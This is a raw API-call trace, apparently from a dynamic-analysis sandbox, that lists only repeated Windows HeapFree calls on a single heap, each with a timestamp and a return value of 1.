	[0053.693] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.694] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0053.695] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0053.695] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.696] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.697] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0053.697] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.697] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0053.697] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.697] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.697] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.698] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0053.698] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.196] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.198] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.199] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.200] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.200] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.200] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.201] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.201] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.202] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.202] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.202] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.203] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.203] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.204] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.205] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.205] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.206] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.206] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.206] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.214] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.308] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.308] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.309] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.310] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.310] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0054.311] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.311] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.313] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.316] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.316] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.403] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0054.404] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.404] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0054.404] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.404] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.405] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.415] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.416] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.416] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.416] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.421] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.424] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.424] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.425] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.478] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.519] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0054.539] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.541] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.563] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.565] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.618] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.636] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.684] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.684] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.714] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.729] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.743] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.744] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.745] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.747] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.749] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0054.749] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.749] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.752] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.752] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.753] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.753] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.753] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0054.753] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.756] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.756] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.757] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0054.770] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.770] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.770] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0054.770] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.771] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.771] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.773] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.773] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.773] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.773] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.773] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0054.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.782] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0054.782] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.783] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0054.783] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4302c78 | out: hHeap=0x650000) returned 1
	[0054.784] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0054.787] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0054.787] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0055.463] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.465] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.465] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.465] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.474] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.474] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.491] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.491] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.492] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.492] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.497] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.497] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0055.504] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.505] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.505] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.505] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.506] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0055.524] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.525] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.527] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.527] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.528] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.528] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.528] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0055.542] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.542] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0055.544] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0055.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.545] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.546] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.547] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.547] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.547] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.547] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.547] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.548] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.549] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.549] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.549] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.550] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.550] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.550] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.550] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.550] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.550] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.551] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.552] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.552] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.552] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.552] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.552] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.552] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.553] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.553] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.553] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.553] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.553] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.553] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.554] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.554] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.554] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.554] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.554] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.554] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.555] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.555] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.555] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.555] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.555] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.556] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.556] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.564] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.904] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.904] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.904] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.904] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.904] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.905] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.905] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.905] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.905] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.905] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.905] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0055.906] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0055.906] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.907] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.907] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.907] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0055.922] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.923] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.923] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.924] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.924] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.928] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.928] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.930] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.931] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.958] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.967] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
